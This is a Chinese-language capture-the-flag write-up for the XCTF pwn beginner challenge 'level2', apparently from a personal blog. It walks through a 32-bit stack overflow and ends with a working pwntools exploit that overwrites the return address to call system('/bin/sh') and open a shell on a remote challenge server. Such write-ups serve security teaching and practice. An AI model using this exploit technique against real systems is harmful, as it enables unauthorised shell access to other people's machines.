攻防世界pwn新手区—level2
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行
32位,小端序
开启部分RELRO---got表仍可写
未开启canary保护---存在栈溢出
开启NX保护----注入的shellcode不可执行
未开启PIE----程序地址为真实地址
动态链接
用ida查看一下
找到主函数
进入子函数vulnerable_function()
又是一个栈溢出(buf分配0x88字节大小空间,read函数读入0x100字节,可覆盖返回地址)
查看一下buf所在栈空间
buf距离返回地址(r)0x8c(0x88+0x4)字节
寻找后门函数发现主函数和子函数都存在system函数,但都不能获得shell,需要自己修改system函数的参数为/bin/sh
首先找到system的plt表地址0x8048320
再找到/bin/sh字符串地址0x804a024
编写exp
'''
栈溢出+system地址+字符串/bin/sh地址
'''
from pwn import *
context(endian = 'little',os = 'linux',arch = 'i386',log_level = 'debug')
sh = remote('111.200.241.244',57164)
system_addr = 0x8048320
bin_sh_addr= 0x0804A024
payload = flat(['a' * 0x88,'b' * 0x4,system_addr,'aaaa',bin_sh_addr])
sh.sendline(payload)
sh.interactive()
执行脚本获得shell
附上链接
x32和x64函数传参方式